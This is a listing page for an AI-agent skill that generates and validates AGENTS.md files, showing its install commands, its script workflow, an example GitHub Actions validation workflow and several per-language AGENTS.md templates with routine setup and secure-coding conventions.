agent-rules
Use when creating or updating AGENTS.md files, .github/copilot-instructions.md, or other AI agent rule files, onboarding AI agents to a project, standardizing agent documentation, or when anyone mentions AGENTS.md, agent rules, project onboarding, or codebase documentation for AI
Install
npx skills add https://github.com/netresearch/agent-rules-skill/tree/main/skills/agent-rules
claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install netresearch-agent-rules-skill@llmmart
git clone https://github.com/netresearch/agent-rules-skill.git
The skills CLI installs just this skill, for any of its supported agents. Claude Code installs the whole netresearch/agent-rules-skill collection as a plugin from our marketplace. Git is the plain clone.
Skill manifest
AGENTS.md Generator Skill
Generate and maintain AGENTS.md files following the agents.md convention. AGENTS.md is FOR AGENTS, not humans.
When to Use
- Creating or updating AGENTS.md for new/existing projects
- Scaffolding a new repository — ship AGENTS.md with the initial commits; retrofitting later needs full re-verification
- Standardizing agent documentation across repositories
- Checking AGENTS.md freshness after code changes
- Onboarding AI agents to an unfamiliar codebase
Scripts
Call every script by its full path: bash ${CLAUDE_SKILL_DIR}/scripts/<name> PATH. Calling one relative to the working directory is not covered by the frontmatter rule and raises a permission prompt per call.
| Script | Purpose |
|---|---|
generate-agents.sh PATH |
Generate AGENTS.md files |
validate-structure.sh PATH |
Validate structure compliance |
check-freshness.sh PATH |
Check if files are outdated |
verify-content.sh PATH |
Verify documented files/commands match codebase |
verify-commands.sh PATH |
Verify documented commands execute |
score-agents.sh PATH |
Grade AGENTS.md quality, worst-first |
detect-project.sh PATH |
Detect language, version, build tools |
detect-scopes.sh PATH |
Identify directories needing scoped files |
extract-commands.sh PATH |
Extract commands from build configs |
extract-ci-rules.sh PATH |
Extract CI quality gates and version matrix |
extract-architecture-rules.sh PATH |
Extract module boundaries |
extract-adrs.sh PATH |
Extract architectural decision records |
extract-github-rulesets.sh PATH |
Extract GitHub rulesets and merge rules |
See references/scripts-guide.md for full options.
Workflow
- Detect:
detect-project.sh+detect-scopes.sh— stacks and subsystems - Extract:
extract-commands.sh,extract-ci-rules.sh— gather facts - Generate:
generate-agents.sh --style=thin(default) or--verbose - Verify:
verify-content.sh+verify-commands.sh-- MANDATORY before done
--update preserves curated content outside <!-- GENERATED --> markers.
Core Principles
- Structured over Prose -- tables parse faster than paragraphs
- Never Fabricate -- only document what exists; verify every command and path
- Pointer Principle -- point to files, don't duplicate content
- Auto Symlinks -- CLAUDE.md/GEMINI.md by default (
ai-tool-compatibility.md)
References
| File | Contents |
|---|---|
verification-guide.md |
Verification steps, anti-bloat, preservation check |
fleet-sync-sweep.md |
Fleet-wide AGENTS.md sweeps |
scripts-guide.md |
Script options, validation checklist |
quality-rubric.md |
Grading rubric |
ai-tool-compatibility.md |
16-agent compatibility matrix |
output-structure.md |
Root/scoped sections |
git-hooks-setup.md |
Hook framework setup |
examples/ |
Complete examples |
ai-contribution-guidelines.md |
"3 Cs" AI-contribution framework |
directory-coverage.md |
Scoped-file coverage rationale |
feedback-memory-schema.md |
Approved-learning file format |
Templates
Root: assets/root-thin.md (default) or root-verbose.md. Scoped: assets/scoped/, one per stack (Go/PHP/Python/TYPO3/Symfony/Oro/CLI/TS/skill-repo).
Supported Projects
Go, PHP (Composer/Laravel/Symfony/TYPO3/Oro), TypeScript (React/Next/Vue/Node), Python (pip/poetry/ruff/mypy), skill repos, hybrid.
See Also
agent-harness-skill— agent-readiness harness (CI enforcement).skill-repo-skill— skill-repo structure (plugin.json, licensing, releases).
Files (agent-rules-skill)
-
assets
-
example-workflows
-
validate-agents.yml 2.8 KB
# Example GitHub Actions workflow for validating AGENTS.md files # Copy this to your repository's .github/workflows/ directory # # This workflow runs on: # - Push/PR to any AGENTS.md file # - Manual dispatch # # Customize the validation steps to match your project's setup. name: Validate AGENTS.md on: push: paths: - 'AGENTS.md' - '**/AGENTS.md' pull_request: paths: - 'AGENTS.md' - '**/AGENTS.md' workflow_dispatch: jobs: validate: runs-on: ubuntu-latest steps: - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 - name: Check AGENTS.md exists run: | if [ ! -f "AGENTS.md" ]; then echo "ERROR: AGENTS.md not found in repository root" exit 1 fi echo "AGENTS.md found" - name: Validate structure run: | # Check for required sections (customize this list for your needs) required_sections=( "## Overview" "## Commands" ) for section in "${required_sections[@]}"; do if ! grep -qi "^$section" AGENTS.md; then echo "WARNING: Missing section: $section" fi done echo "Structure validation complete" - name: Check for unresolved placeholders run: | # Fail if {{PLACEHOLDER}} patterns exist if grep -E '\{\{[A-Z][A-Z0-9_]*\}\}' AGENTS.md; then echo "ERROR: Found unresolved placeholders" exit 1 fi echo "No unresolved placeholders" - name: Check for stale content run: | # Error if unresolved template placeholders exist if grep -qE '\{\{[A-Z_]+\}\}' AGENTS.md; then echo "ERROR: Found unresolved template placeholders - regenerate AGENTS.md" exit 1 fi # Check freshness (optional - customize days threshold) if grep -q "Last updated:" AGENTS.md; then last_updated=$(grep "Last updated:" AGENTS.md | grep -oE '[0-9]{4}-[0-9]{2}-[0-9]{2}' | head -1) if [ -n "$last_updated" ]; then days_old=$(( ($(date +%s) - $(date -d "$last_updated" +%s)) / 86400 )) if [ "$days_old" -gt 90 ]; then echo "WARNING: AGENTS.md is $days_old days old - consider updating" fi fi fi echo "Freshness check complete" # Optional: Verify documented commands work # Uncomment and customize for your project # - name: Verify commands # run: | # # Example: check that npm scripts exist # if [ -f "package.json" ]; then # # Extract commands from AGENTS.md and verify they exist # echo "Verifying npm commands..." # fi
-
-
scoped
-
backend-go.md 3.6 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{INSTALL_LINE}} {{GO_VERSION_LINE}} {{GO_TOOLS_LINE}} {{ENV_VARS_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{VET_LINE}} {{FORMAT_LINE}} {{LINT_LINE}} {{GOVULNCHECK_LINE}} {{TEST_LINE}} {{TEST_RACE_LINE}} {{TEST_SINGLE_LINE}} {{FUZZ_LINE}} {{BUILD_LINE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - Follow Go 1.{{GO_MINOR_VERSION}} idioms - Use standard library over external deps when possible - Errors: wrap with `fmt.Errorf("context: %w", err)`, lowercase no punctuation - Naming: `camelCase` for private, `PascalCase` for exported; ID/URL/HTTP not Id/Url/Http - Struct tags: use canonical form (json, yaml, etc.) - Comments: complete sentences ending with period - Package docs: first sentence summarizes purpose - Prefer `any` over `interface{}`; use generics `[T any]` where appropriate - Run `go fix ./...` after Go version upgrades to apply modernizers <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Validate all inputs from external sources - Use `context.Context` for cancellation and timeouts - Avoid goroutine leaks: always ensure termination paths - Sensitive data: never log or include in errors - SQL: use parameterized queries only - File paths: validate and sanitize user-provided paths <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START quality-gates --> ## Quality gates Run these checks before completing any review: ```bash golangci-lint run --timeout 5m # Linting (golangci-lint v2) go vet ./... # Static analysis govulncheck ./... # Vulnerability scan go test -race ./... # Race detection ``` <!-- AGENTS-GENERATED:END quality-gates --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist {{TEST_CHECKLIST_LINE}} {{LINT_CHECKLIST_LINE}} {{FORMAT_CHECKLIST_LINE}} - [ ] `govulncheck ./...` reports no vulnerabilities - [ ] No goroutine leaks (ensure termination paths) - [ ] Error messages are descriptive and wrapped with `%w` - [ ] Public APIs have godoc comments - [ ] `context.Context` passed and respected in all I/O paths <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. Key patterns: - Context handling: always pass and respect `context.Context` - Interfaces: define where used, not where implemented <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check Go documentation: https://pkg.go.dev - Review existing patterns in this codebase - Check root AGENTS.md for project-wide conventions - Run `go doc <package>` for standard library help <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
backend-php.md 3 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{INSTALL_LINE}} {{PHP_VERSION_LINE}} {{FRAMEWORK_LINE}} {{PHP_EXTENSIONS_LINE}} {{ENV_VARS_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{TYPECHECK_LINE}} {{FORMAT_LINE}} {{LINT_LINE}} {{TEST_LINE}} {{BUILD_LINE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - Follow PSR-12 coding standard - Use strict types: `declare(strict_types=1);` - Type hints: always use for parameters and return types - Naming: `camelCase` for methods, `PascalCase` for classes - Visibility: always declare (public, protected, private) - PHPDoc: required for public APIs, include `@param` and `@return` {{FRAMEWORK_CONVENTIONS}} <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Validate and sanitize all user inputs - Use prepared statements for database queries - Escape output in templates - Never use dynamic code execution functions - Sensitive data: never log or expose in errors - CSRF protection: enable for all forms - XSS protection: escape all user-generated content <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist {{TEST_CHECKLIST_LINE}} {{TYPECHECK_CHECKLIST_LINE}} {{FORMAT_CHECKLIST_LINE}} - [ ] No deprecated functions used - [ ] Public methods have PHPDoc - [ ] Security: inputs validated, outputs escaped <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check PHP documentation: https://www.php.net {{FRAMEWORK_DOCS_LINE}} - Review existing patterns in this codebase - Check root AGENTS.md for project-wide conventions <!-- AGENTS-GENERATED:END help --> <!-- AGENTS-GENERATED:START skill-reference --> ## Skill Reference > For PHP 8.x modernization, type safety, and PHPStan compliance: > **Invoke skill:** `php-modernization` > > For Symfony projects, use the dedicated `symfony.md` scoped template instead of this generic PHP template. <!-- AGENTS-GENERATED:END skill-reference --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
backend-python.md 2.6 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{INSTALL_LINE}} {{PYTHON_VERSION_LINE}} {{PACKAGE_MANAGER_LINE}} {{VENV_LINE}} {{ENV_VARS_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{TYPECHECK_LINE}} {{FORMAT_LINE}} {{LINT_LINE}} {{TEST_LINE}} {{BUILD_LINE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - Follow PEP 8 style guide - Use type hints for all function signatures - Naming: `snake_case` for functions/variables, `PascalCase` for classes - Docstrings: Google style, required for public APIs - Imports: group by stdlib, third-party, local (use isort) - Modern Python: prefer `|` over `Union`, `list` over `List` {{FRAMEWORK_CONVENTIONS}} <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Validate and sanitize all user inputs - Use parameterized queries for database access - Never use dynamic code execution with untrusted data - Sensitive data: never log or expose in errors - File paths: validate and use `pathlib` for path operations - Subprocess: use list args, avoid shell=True with user input <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist {{TEST_CHECKLIST_LINE}} {{TYPECHECK_CHECKLIST_LINE}} {{LINT_CHECKLIST_LINE}} {{FORMAT_CHECKLIST_LINE}} - [ ] Public functions have docstrings <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check Python documentation: https://docs.python.org - Review existing patterns in this codebase - Check root AGENTS.md for project-wide conventions - Use `python -m pydoc <module>` for stdlib help <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
backend-typescript.md 2.8 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{INSTALL_LINE}} {{NODE_VERSION_LINE}} {{PACKAGE_MANAGER_LINE}} {{RUNTIME_LINE}} {{ENV_VARS_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{TYPECHECK_LINE}} {{FORMAT_LINE}} {{LINT_LINE}} {{TEST_LINE}} {{BUILD_LINE}} {{DEV_LINE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - Use TypeScript strict mode (`strict: true` in tsconfig) - No `any` without explicit justification comment - Prefer `interface` over `type` for object shapes - Naming: `camelCase` for functions/vars, `PascalCase` for classes/types - Async/await over raw Promises - Prefer `const` over `let`, never use `var` - Destructure objects and arrays when appropriate {{FRAMEWORK_CONVENTIONS}} <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Validate all user inputs (use zod or similar) - Parameterized queries only (no string concatenation) - Never use dynamic code execution with user data - Sensitive data: never log or expose in errors - Environment: use dotenv, never hardcode secrets - CORS: configure explicitly, no wildcard in production - Rate limiting: implement for public endpoints <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist {{TEST_CHECKLIST_LINE}} {{TYPECHECK_CHECKLIST_LINE}} {{LINT_CHECKLIST_LINE}} {{FORMAT_CHECKLIST_LINE}} - [ ] No `any` types without justification - [ ] API endpoints have validation - [ ] Error responses don't leak internals <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check Node.js docs: https://nodejs.org/docs - TypeScript handbook: https://www.typescriptlang.org/docs - Review existing patterns in this codebase - Check root AGENTS.md for project-wide conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
claude-code-skill.md 3.4 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{PLUGIN_JSON_LINE}} {{SKILLS_LINE}} {{INSTALL_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Directory structure ``` .claude-plugin/ plugin.json → Plugin manifest (name, version, skills) skills/ <skill-name>/ SKILL.md → Skill definition and instructions assets/ → Templates, reference docs scripts/ → Shell scripts for automation references/ → Examples, golden samples ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{LINT_LINE}} {{TEST_LINE}} {{VALIDATE_LINE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - SKILL.md: Clear, actionable instructions for AI agents - Shell scripts: Follow ShellCheck recommendations - Templates: Use `{{PLACEHOLDER}}` syntax for variables - Keep skills focused on one domain/task - Include checkpoints for verification - Provide golden samples for pattern demonstration <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START skill-design --> ## Skill design principles - **Actionable**: Tell agents WHAT to do, not just WHAT things are - **Verifiable**: Include checkpoints agents can run to verify work - **Scoped**: One skill = one domain (don't mix concerns) - **Referenced**: Point to golden samples, not generic examples - **Minimal**: Include only what agents need; avoid documentation bloat <!-- AGENTS-GENERATED:END skill-design --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Never include secrets or credentials in skills - Validate all user inputs in scripts - Use placeholder values in examples: `your-api-key`, `example.com` - Review generated content for sensitive information <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist {{LINT_CHECKLIST_LINE}} - [ ] SKILL.md instructions are clear and actionable - [ ] Templates use whole-line placeholders (not inline) - [ ] Golden samples exist for key patterns - [ ] Checkpoints are verifiable - [ ] plugin.json version updated if releasing <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check existing skills for patterns - Review Claude Code documentation - Test skills with `claude --skill <name>` - Check root AGENTS.md for project conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
cli.md 2.7 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{SETUP_INSTRUCTIONS}} {{CLI_FRAMEWORK_LINE}} {{BUILD_OUTPUT_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{BUILD_LINE}} {{RUN_LINE}} {{TEST_LINE}} {{LINT_LINE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions {{CLI_FRAMEWORK_CONVENTION_LINE}} - Provide `--help` for all commands and subcommands - Use `--version` to display version information - Exit codes: 0 = success, 1 = general error, 2 = usage error - Output: structured (JSON) for scripts, human-readable for interactive - Errors: write to stderr, not stdout - Progress: show for long-running operations - Interactive prompts: support non-interactive mode with flags <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Validate all file paths and prevent directory traversal - Never execute user-provided code without explicit confirmation - Sensitive data: never log or display in plain text - Config files: validate schema and permissions - Network operations: timeout and retry with backoff <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] `--help` text is clear and accurate - [ ] `--version` displays correct version - [ ] Exit codes are correct - [ ] Errors go to stderr - [ ] Long operations show progress - [ ] Works in non-interactive mode - [ ] Tests cover main workflows <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck {{CLI_FRAMEWORK_DOCS_LINE}} - Check existing commands for patterns - Test with `--help` to ensure clarity - Check root AGENTS.md for project conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
concourse.md 5.2 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Pipeline configuration {{PIPELINE_COUNT_LINE}} {{TASKS_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Directory structure ``` ci/ pipeline.yml → Main pipeline definition pipeline-*.yml → Additional pipelines (optional) tasks/ build.yml → Task definitions test.yml deploy.yml scripts/ build.sh → Task scripts test.sh ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START code-style --> ## Pipeline conventions - **Resources first**: Define all resources at top of pipeline - **Jobs reference resources**: Use `get:` and `put:` for resource I/O - **Tasks are reusable**: Define tasks in separate files under `ci/tasks/` - **Params over hardcoding**: Use `((params))` for configuration - **YAML anchors**: Use anchors for repeated configuration ### Naming conventions | Type | Convention | Example | |------|------------|---------| | Resource | kebab-case | `source-code`, `docker-image` | | Job | kebab-case with verb | `build-app`, `deploy-staging` | | Task | kebab-case | `run-tests`, `push-image` | | Param | snake_case | `docker_repo`, `deploy_env` | <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START patterns --> ## Common patterns ### Basic pipeline structure ```yaml resources: - name: source-code type: git source: uri: ((git_uri)) branch: main - name: app-image type: registry-image source: repository: ((docker_repo)) jobs: - name: build-and-test plan: - get: source-code trigger: true - task: run-tests file: source-code/ci/tasks/test.yml - task: build-image privileged: true config: platform: linux image_resource: type: registry-image source: {repository: concourse/oci-build-task} inputs: - name: source-code outputs: - name: image run: path: build - put: app-image params: image: image/image.tar ``` ### Task definition (ci/tasks/test.yml) ```yaml platform: linux image_resource: type: registry-image source: repository: node tag: "20" inputs: - name: source-code run: path: /bin/sh args: - -c - | cd source-code npm ci npm test ``` ### Multi-environment deployment ```yaml jobs: - name: deploy-staging plan: - get: source-code passed: [build-and-test] trigger: true - task: deploy file: source-code/ci/tasks/deploy.yml params: ENVIRONMENT: staging - name: deploy-production plan: - get: source-code passed: [deploy-staging] - task: deploy file: source-code/ci/tasks/deploy.yml params: ENVIRONMENT: production ``` ### Using across step for parallel deploys ```yaml - across: - var: region values: [us-east-1, eu-west-1, ap-southeast-1] task: deploy-region file: ci/tasks/deploy.yml params: REGION: ((.:region)) ``` <!-- AGENTS-GENERATED:END patterns --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Store secrets in **Vault** or **CredHub**, never in pipeline YAML - Use **((params))** syntax for all sensitive values - **Privileged containers** only for image building (oci-build-task) - Pin **resource versions** for reproducibility - Use **webhook tokens** with secrets for triggers - Review **fly set-pipeline** changes before applying <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] Pipeline validates: `fly validate-pipeline -c pipeline.yml` - [ ] Resources have appropriate `check_every` intervals - [ ] Tasks are defined in separate files (not inline) - [ ] Secrets use ((param)) syntax, not hardcoded - [ ] Jobs have appropriate `passed:` constraints - [ ] Triggers are on correct resources only <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Concourse docs: https://concourse-ci.org/docs.html - Resource types: https://resource-types.concourse-ci.org/ - Pipeline examples: https://concourse-ci.org/examples.html - Validate locally: `fly validate-pipeline -c pipeline.yml` - Check existing pipelines in this repo for patterns <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
ddev.md 2.4 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview DDEV local development environment configuration. **Use the `typo3-ddev` skill** for setup and multi-version testing. <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files | File | Purpose | |------|---------| | `config.yaml` | Main DDEV configuration | | `docker-compose.*.yaml` | Custom service overrides | | `commands/host/` | Host-side custom commands | | `commands/web/` | Container-side custom commands | | `.env` | Environment variables | <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START commands --> ## Common Commands | Task | Command | |------|---------| | Start | `ddev start` | | Stop | `ddev stop` | | SSH into container | `ddev ssh` | | Run composer | `ddev composer ...` | | Database export | `ddev export-db > dump.sql.gz` | | Database import | `ddev import-db < dump.sql.gz` | | View logs | `ddev logs` | | Restart | `ddev restart` | <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START patterns --> ## Key Patterns - Use `ddev composer` instead of local composer - Custom commands in `.ddev/commands/` for project-specific tasks - Override services with `docker-compose.*.yaml` files - Use `ddev describe` to see URLs and credentials - Multi-version testing: change `php_version` in config.yaml <!-- AGENTS-GENERATED:END patterns --> <!-- AGENTS-GENERATED:START code-style --> ## Configuration Style - Keep `config.yaml` minimal, use overrides for complexity - Document custom commands with `## Description:` header - Use `#ddev-generated` comment for files DDEV manages - Pin addon versions for reproducibility <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START checklist --> ## PR Checklist - [ ] `ddev start` works after changes - [ ] Custom commands have descriptions - [ ] No hardcoded paths or credentials - [ ] Works on macOS, Linux, and Windows (WSL2) <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START skill-reference --> ## Skill Reference > For DDEV setup, TYPO3 multi-version testing, and custom commands: > **Invoke skill:** `typo3-ddev` <!-- AGENTS-GENERATED:END skill-reference --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
docker.md 5.3 KB
